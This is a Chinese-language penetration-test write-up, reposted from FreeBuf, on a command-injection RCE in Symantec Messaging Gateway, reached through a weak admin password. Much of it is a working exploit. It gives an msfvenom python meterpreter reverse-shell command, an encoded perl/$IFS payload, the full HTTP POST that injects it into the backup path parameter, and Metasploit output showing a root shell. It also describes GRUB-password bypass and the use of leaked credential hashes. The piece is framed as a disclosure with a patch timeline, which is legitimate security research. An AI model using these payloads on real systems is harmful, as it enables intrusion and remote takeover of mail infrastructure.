看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

AlexFrankly 2017-6-19 教学频道 0 0

在这篇文章中,我将向大家分享我们团队最近在对某企业真实渗透测试的一个项目,在该项目中我们发现了赛门铁克电子邮件安全网关(Symantec Messaging Gateway)的一个0day漏洞,利用该漏洞,最终实现了对操作系统的远程命令执行,成功渗透进入目标客户网络。我们从头说起。

前期:枚举大法

在对目标系统的前期信息收集过程中,枚举是一种重要方法!我执行了DNS枚举、Google hacking和目标IP范围NMAP扫描,另外我还在公开的数据泄露源和我们内部的密码数据库中,对目标企业的相关邮箱进行比对查找。服了,最终还真发现了2个不同的用户凭证HASH,其中1个凭证HASH居然还是我们内部密码库于两个月前记录入库的。

在对NMAP扫描结果进行分析后,我发现赛门铁克邮件安全网关(Symantec Messaging Gateway)的管理接口是公开可访问的,之后,我尝试在网上寻找该网关设备的默认用户名密码,通过查看赛门铁克公开的安装说明发现,该网关设备的默认用户名是admin,而密码则由用户在安装时自设。

好了,现在的问题就是:找到用户名admin的密码!最快的思路也无非以下两种:

HASH暴力破解:可以尝试对之前发现的用户凭证HASH进行暴力破解,之后,用其对应的密码登录OWA的Exchange的邮件服务,在其个人邮件中挖挖找找涉及该网关设备可能的密码信息;

弱口令暴力破解:用那些你可以想像到的弱口令,尝试在赛门铁克电子邮件安全网关管理接口进行登录,如admin、123456等等。

哎呀,还真别说,运气爆表了,弱口令这招竟然奏效了,admin的密码是Passw0rd!虽然域控制密码策略要求字母和数字的组合策略,但粗心的IT管理员却这样犯错了。

这算是几个月来我们的”幸运时刻“之一,我们设法获得了目标系统邮件安全网关的访问控制权,但对于整个目标网络系统来说,这种单点突破远远不够。面对这唯一可以利用的突破口,我们希望实现更进一步的渗透。奇妙之旅开始了,老司机要开车了!

假设

在对赛门铁克电子邮件安全网关进行漏洞挖掘之前,可以非常清楚地列出以下几种条件:

程序通过ISO/OVA形式提供下载;

老牌安全厂商产品,或许很难发现重要漏洞?(结果证实并非如此)

固若金汤;

具备复杂的应用程序架构。

不管了,先下载个30天试用版本来把玩把玩再说!

拆解赛门铁克邮件安全网关

在安装了赛门铁克邮件安全网关之后,我发现其产品中存在两方面的安全措施:

受限Shell:可以利用其它电脑通过SSH接入网关设备,但存在接入shell的功能限制,并且只对外开放了80和443端口;

设置了GRUB密码保护。

源代码分析

由于受限Shell功能的存在,我无法通过SSH访问源代码接口,虽然有其它方法可以破解这种限制,但所需时间太长,所以我临时决定使用以下方法:

1、用CentOS镜像启动虚拟机(赛门铁克邮件安全网关被部署到虚拟机中);

2、在CentOS镜像中选择救援修复模式 (rescue installed system)启动;

3、等待引导过程结束;

4、打开/mnt/sysimage/boot/grub.conf文件,删除GRUB密码保护一行;

5、使用虚拟机选项卸载镜像文件;

6、重启电脑。

以下为GRUB密码保护行:

symantec-grub-config.jpg

现在,由于缺少了GRUB密码保护,我就可以以单用户模式,利用自定义参数启动系统。

以root身份进入

在GRUB菜单模式下,我以单用户root shell权限进入系统,并且不启动其它任何服务,希望籍此以管理员身份关闭受限Shell功能,但经过一番研究后,我决定使用其它更快的方法。我更改了sshd_config配置文件,让root用户有重新设置密码的权限。之后,重新启动系统。

探测所有服务&收集信息

以root方式SSH进入系统之后,我们就可以从内部对该产品的系统服务、端口信息以及源代码情况一探究竟了。首先,来执行一个NMAP扫描,结果如下:

➜  ~ sudo nmap -sS -sV -p - --open 12.0.0.199 -Pn -n

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 5.3 (protocol 2.0)
25/tcp    open  smtp        Symantec Messaging Gateway smtpd
443/tcp   open  ssl/http    Apache Tomcat/Coyote JSP engine 1.1
8443/tcp  open  ssl/http    Apache Tomcat/Coyote JSP engine 1.1
41002/tcp open  ssl/unknown
41015/tcp open  smtp        Symantec Messaging Gateway smtpd
41016/tcp open  smtp        Symantec Messaging Gateway smtpd
41017/tcp open  smtp        Symantec Messaging Gateway smtpd
41025/tcp open  smtp
41443/tcp open  ssl/http    Apache Tomcat/Coyote JSP engine 1.1

端口443、8443和41443:管理接口服务;

端口41015 – 41025:该产品专为电子邮件分析而设计的正常服务端口;

端口41002:这是什么鬼端口?

41002端口让我陷入怀疑,有必要进一步验证一下该端口对应的服务目的。通过netstat命令检索端口监听进程,发现了2560进程,之后又发现了bmagent驻留进程和agentconfig.xml文件。过程如下:

[root@hacker ~]# netstat -tnlp |grep 41002
tcp        0      0 0.0.0.0:41002               0.0.0.0:*                   LISTEN      2560/bmagent
[root@hacker ~]# 
[root@hacker ~]# ps aux|grep 2560
mailwall   2560  0.0  0.3 550428 12816 ?        Sl   12:35   0:00 /opt/Symantec/Brightmail/scanner/sbin/bmagent -c /data/scanner/etc/agentconfig.xml
[root@hacker ~]# 
[root@hacker ~]# file /opt/Symantec/Brightmail/scanner/sbin/bmagent 
/opt/Symantec/Brightmail/scanner/sbin/bmagent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

以下是agentconfig.xml内容,尽管它在所有接口上都运行了该对应的服务,但我们只能通过白名单地址对它进行访问。这里先暂且打住,我们来看看源代码。

[root@hacker ~]# cat /data/scanner/etc/agentconfig.xml
<?xml version="1.0"?>
<!-- Default agent configuration file for brightmail -->
<!-- InstallAnywhere Macros inserted -->
<installation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="6.0.0.0">
    <configdir>/data/scanner/etc</configdir>
    <mtalogfile>/data/logs/maillog</mtalogfile>
    <packages>
        <package name="agentPackage" installed="true" enabled="true"/>
    </packages>
    <programs>
        <program xsi:type="agentType" name="agent">
            <log level="4" period="1" periodUnits="DAY" numberRetained="30">/data/logs/scanner/agent_log</log>
            <networkAddress host="*" port="41002"/>
            <allowedIPs><allowedIP>127.0.0.1</allowedIP>
<allowedIP>12.0.0.199</allowedIP>
<allowedIP>1.1.1.1</allowedIP>
<allowedIP>1.1.1.2</allowedIP>
<allowedIP>1.1.1.3</allowedIP></allowedIPs>
            <ssl certFile="/data/scanner/etc/agent.cert" keyFile="/data/scanner/etc/agent.key"/>
        </program>
    </programs>
</installation>

定位源代码文件

我用以上类似方法找到了源码的存放位置。以下输出显示了其web服务和服务启动执行命令对应的进程ID:

[root@hacker ~]# netstat -tnlp |grep 443
tcp        0      0 :::41443                    :::*                        LISTEN      2632/jsvc.exec      
tcp        0      0 :::8443                     :::*                        LISTEN      2632/jsvc.exec      
tcp        0      0 :::443                      :::*                        LISTEN      2632/jsvc.exec      
[root@hacker ~]# 
[root@hacker ~]# ps aux|grep 2632
bcc        2632  2.1 13.8 3482224 541216 ?      Sl   12:35   0:44 jsvc.exec -user bcc -home /usr/java/latest -wait 1200 -pidfile /var/run/jsvc.pid -outfile /data/logs/bcc/catalina.out -errfile &1 -Xmx800M -XX:MaxPermSize=128m -Djvm=bcc -Djava.awt.headless=true -Djava.util.logging.config.file=/data/bcc/conf/logging.properties -Dorg.apache.jasper.compiler.Parser.STRICT_QUOTE_ESCAPING=false -Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true -Dcatalina.base=/data/bcc -Dcatalina.home=/usr/share/apache-tomcat-7.0.62 -Djava.io.tmpdir=/data/bcc/temp -cp /usr/share/java/commons-daemon.jar:/usr/share/apache-tomcat-7.0.62/bin/bootstrap.jar:/usr/share/apache-tomcat-7.0.62/bin/tomcat-juli.jar org.apache.catalina.startup.Bootstrap
root       8106  0.0  0.0 103312   856 pts/0    S+   13:10   0:00 grep 2632
[root@hacker ~]#

从上可以看出一个名为bcc的文件目录,而所有应用管理接口的源码就存储在/data/bcc文件夹内,之后,我用SCP命令把该文件夹内所有文件打包并转移出系统。

继续探寻未知服务

OK,我们获得了源码,那么自然想知道之前提及的41002端口对应的服务用途是什么。此时,面对JAVA源码,我最喜欢的java反编译器jd-gui派上用场了。

既然该端口对应服务只能通过白名单才能发起访问,那么,本机应该也在此范围之内,而且对一般实例和服务来说,127.0.0.1应该也属白名单之列。经过一番查找分析,我发现在backupNow函数下存在着一些与41002端口相关的代码,如下:

try
    {
      if (this.log.isInfoEnabled()) {
        this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.start"));
      }
      String scriptName = NameHelper.getDbBackup();
      AgentResultTO result = ScriptHelper.executeScript("127.0.0.1", 41002, scriptName, 
        ScriptParamFactory.createAgentParam(params), 2, AgentSettingsDAO.TimeoutLength.Infinite);
      if (this.log.isInfoEnabled()) {
        this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.end"));
      }
      if (result.isError())
      {
        String message = ScriptHelper.decodeMessage(result);
        ScriptHelper.logError("error.agent.script.databaseBackup", message);
        ScriptHelper.generateError("error.agent.script.databaseBackup", message);
      }
    }
    catch (BrightmailException e)
    {
      ScriptHelper.generateError("error.agent.script.databaseBackup", e.getMessage());
    }

从以上代码可知,应用程序在运行过程中,向该服务发送了一个脚本名称和参数,该脚本名称为一个可执行脚本文件,而scriptName参数则调用了getDbBackup函数:

public static String getDbBackup()
{
  if (dbBackup == null)
  {
    StringBuilder builder = new StringBuilder(25);
    builder.append("$SCRIPTSDIR$$/$");
    builder.append("db-backup");
    dbBackup = builder.toString();
  }
  return dbBackup;
}

COOL!请认真观察以上代码,现在我们知道哪个脚本文件是被该服务执行了,来找找看:

[root@hacker bcc]# find /opt/ -type f|grep 'db-backup'
/opt/Symantec/Brightmail/cli/bin/db-backup
/opt/Symantec/Brightmail/cli/sbin/db-backup
/opt/Symantec/Brightmail/cli/man/man1/db-backup.1
[root@hacker bcc]# 
[root@hacker bcc]# cat /opt/Symantec/Brightmail/cli/bin/db-backup
#!/bin/sh

. /data/scanner/etc/brightmail-env

/usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup "$@"

真是越来越有意思了!当该服务启动后,它将会执行db-backup脚本,该脚本正常情况下是通过sudo命令执行的。到此,我们可以尝试分析到底是哪个web前端服务执行调用了这些流程。在strust.xml文件中,我们发现了具体调用相关方法和类的URL:

<action path="/backup/add" forward="/backup/action2.do?method=add"/>
<action path="/backup/edit" forward="/backup/action2.do?method=edit"/>
<action path="/backup/backupNow" forward="/backup/action2.do?method=showBackupNow"/>
<action path="/backup/action2"
        type="com.symantec.smg.controlcenter.disasterrecovery.backup.BackupAction"
        name="backupForm"
        scope="request"
        parameter="method"
        validate="false"
        input="/admin_backup_restore.jsp">
  <forward name="success" path="/admin_backup_edit.jsp"/>
</action>

综上所述,这意味着,以下前端链接对应着该服务的执行调用:

/brightmail/admin/backup/backupNow.do

让我们在web界面中看看它到底长啥样:

symantec-backup.jpg

OH,这是Symantec邮件网关的备份服务!在该服务下,可以利用FTP或SCP方式把备份文件存储到另一台远程服务器中(该环境中,另一台远程存储服务器为12.0.0.15)。可能由于这种备份方式颇花费时间,所以在产品设计时就被放到了后台进行,前面提及的41002端口正是该服务的对应运行端口。好吧,现在,我们来看看12.0.0.15执行了些什么具体进程:

[root@hacker bcc]# ps aux|grep 12.0.0.15
mailwall  11296  0.0  0.0 108204  1308 ?        S    13:37   0:00 /bin/sh /opt/Symantec/Brightmail/common/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11297  0.0  0.0 175096  2672 ?        S    13:37   0:00 /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11298  5.0  0.5 173584 23132 ?        S    13:37   0:00 /usr/bin/perl -w /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11303  0.0  0.0  57244  2400 pts/2    Ss+  13:37   0:00 /usr/bin/scp -P 22 -q /data/tmp/db-backup.10.6.2-7.brightmail.Apr-26-17-13-37.tar root@12.0.0.15:/tmp.full.manual.tar.bz2
root      11304  0.0  0.0  59700  2952 pts/2    S+   13:37   0:00 /usr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -p22 -q -lroot 12.0.0.15 scp -t /tmp.full.manual.tar.bz2
root      11307  0.0  0.0 103308   872 pts/0    S+   13:37   0:00 grep 12.0.0.15
[root@hacker bcc]#

天了噜,综合这些进程和前面的端口监听结果可以发现,前面的web前端正通过参数设置方法利用bmagent服务,执行SSH文件转移。而在此SSH的应用过程中,可能会存在命令注入漏洞。

我们来找找看其输入验证参数,我敢确定在数据被转移到bmagent服务之前,在其web端一定存在着某种输入验证。

寻找脆弱性验证参数

以下为源码中的输入验证实现部分:

if (storeRemoteBackup)
    {
      if (EmptyValidator.getInstance().isValid(remoteBackupAddress))
      {
        exceptionMsgKeys.add("error.backup.host.ip.required");
        focusElement = "remoteBackupAddress";
      }
      else if ((!DomainValidator.getInstance().isValid(remoteBackupAddress)) && 
        (!RoutableIpValidator.getInstance().isValid(remoteBackupAddress)))
      {
        exceptionMsgKeys.add("error.backup.host.ip.invalid");
        focusElement = "remoteBackupAddress";
      }
      if (EmptyValidator.getInstance().isValid(port))
      {
        exceptionMsgKeys.add("error.backup.host.port.empty");
        focusElement = "remoteBackupPort";
      }
      else if (!TcpUdpPortValidator.getInstance().isValid(port))
      {
        exceptionMsgKeys.add("error.backup.host.port.invalid");
        focusElement = "remoteBackupPort";
      }
      String path = backupForm.get("remoteBackupPath").toString();
      if (EmptyValidator.getInstance().isValid(path))
      {
        exceptionMsgKeys.add("error.backup.path.empty");
        focusElement = "remoteBackupPath";
      }
      else
      {
        UsAsciiValidator v = UsAsciiValidator.getInstance();
        if (!v.isValid(path))
        {
          exceptionMsgKeys.add("error.backup.path.only.ascii.allowed");
          focusElement = "remoteBackupPath";
        }
      }
    }

该验证主要具备以下几方面要求:

remoteBackupAddress值不能为空;

remoteBackupAddress必须为远程IP地址;

端口信息不能为空;

端口必须为有效TCP/UDP端口;

路径不能为空;

路径值最终必须为ASCII。

仔细一想,在路径参数值中存在明显的命令注入漏洞。

漏洞利用路线

1、使用用户名密码登入web前端;

2、浏览/brightmail/admin/backup/backupNow.do界面;

3、选择“Store backup on a remote location”(将备份文件存储到远程服务器中);

4、选择SCP作为文件传输协议;

5、填写SSH服务能有效发现的相应远程IP地址、端口和存储目录信息(可以使用你本机KALI的ssh,存储目录这里为tmp);

6、开启““Requires authentication”(身份认证)选项;

7、填写有效的SSH用户名密码验证信息;

8、把Payload置于tmp请求参数之后,使用$()方式执行命令注入。

在Payload测试中,使用空格(SPACE)可能会导致脚本执行失败,于是,我采用了$IFS方式(内部域分隔符)来代替空格。

POC

由于我喜欢用meterpreter,所以在此首先利用msfvenom生成了python版本的Payload:

msfvenom -p python/meterpreter/reverse_tcp LHOST=12.0.0.1 LPORT=8081 -f raw

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMi4wLjAuMScsODA4MSkpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

由于需要在python -c “PAYLOAD”命令中使payload能有效通过,而使用空格又可能发生异常,所以,在使用$IFS方式之后的样式为python${IFS}-v${IFS}”PAYLOAD”。但是还存在一个问题,python语言的Payload中,在初始定义头的import和base64之间还有一个空格,而且${IFS}只对linux有效,不能被python识别!

该使用点奇技淫巧了!我可以使用perl语言的Payload啊!因为在我之前的渗透测试中,发现可以利用perl来创建无空格的Payload。所以,就这样暗度陈仓地用perl语言Payload来实现了我们夹杂其中的python方式Payload。如下:

cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack("H*").first

p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

最终的Payload如下:

perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')

在该Payload中包含了一个python meterpreter payload,我们尝试来获取系统shell看看,通过以下HTTP POST触发漏洞:

POST /brightmail/admin/backup/performBackupNow.do HTTP/1.1
Host: 12.0.0.199:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1188
Referer: https://12.0.0.199:8443/brightmail/admin/backup/backupNow.do
Cookie: JSESSIONID=67376D92B987724ED2309C86990690E3; userLanguageCode=en; userCountryCode=US; navState=expanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded; JSESSIONID=0360B579A58BBBB8D74FEE4767BCAC10
Connection: close
Upgrade-Insecure-Requests: 1

pageReuseFor=backup_now&id=&symantec.brightmail.key.TOKEN=48f39f735f15fcaccd0aacc40b27a67bf76f2bb1&backupData=full&customType=configuration&includeIncidentMessages=true&includeReportData=true&includeLogData=true&backupTo=2&remoteBackupProtocol=SCP&remoteBackupAddress=127.0.0.1&remoteBackupPort=22&remoteBackupPath=tmp$(perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')&requiresRemoteAuthentication=true&remoteBackupUsername=root&remoteBackupPassword=qwe123

然后,利用msf创建监听,并最终成功获得了对目标系统的反弹控制权:

msf exploit(handler) > run

[*] Started reverse TCP handler on 12.0.0.1:4444 
[*] Starting the payload handler...
[*] Sending stage (39842 bytes) to 12.0.0.199
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.199:54077) at 2017-04-30 17:03:26 +0300

meterpreter > shell
Process 15849 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#

在后续阶段,我们将使用一些post exploitation方式继续对目标系统进行渗透验证,由于包含客户具体信息,就不在此赘述。可以点此查看其它详细的metasploit执行信息。

Metasploit 执行视频

https://v.qq.com/x/page/z0514xw4bn1.html

漏洞报送时间表

2017年4月24日    – 漏洞发现;

2017年4月24日    – 与公司内部客户成员共享所有漏洞细节和短期的内部缓解措施;

2017年4月27日    – 与Symantec进行漏洞初报;

2017年5月2日      – Symantec 产品团队确认漏洞有效;

2017年5月25日    – 我们咨询漏洞修复状态;.

2017年5月25日    – Symantec回复称他们正在开发补丁,计划于6月发布,届时将及时告知我们;

2017年6月8日      – 我们的客户告知我们Symantec已经在网上发布了该产品的修复补丁;

2017年6月10日      – 漏洞公开。

*参考来源:pentestlab,freebuf小编clouds编译,转载请注明来自FreeBuf.COM

转载请注明来自华盟网,本文标题:《看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行》

喜欢 (0) 发布评论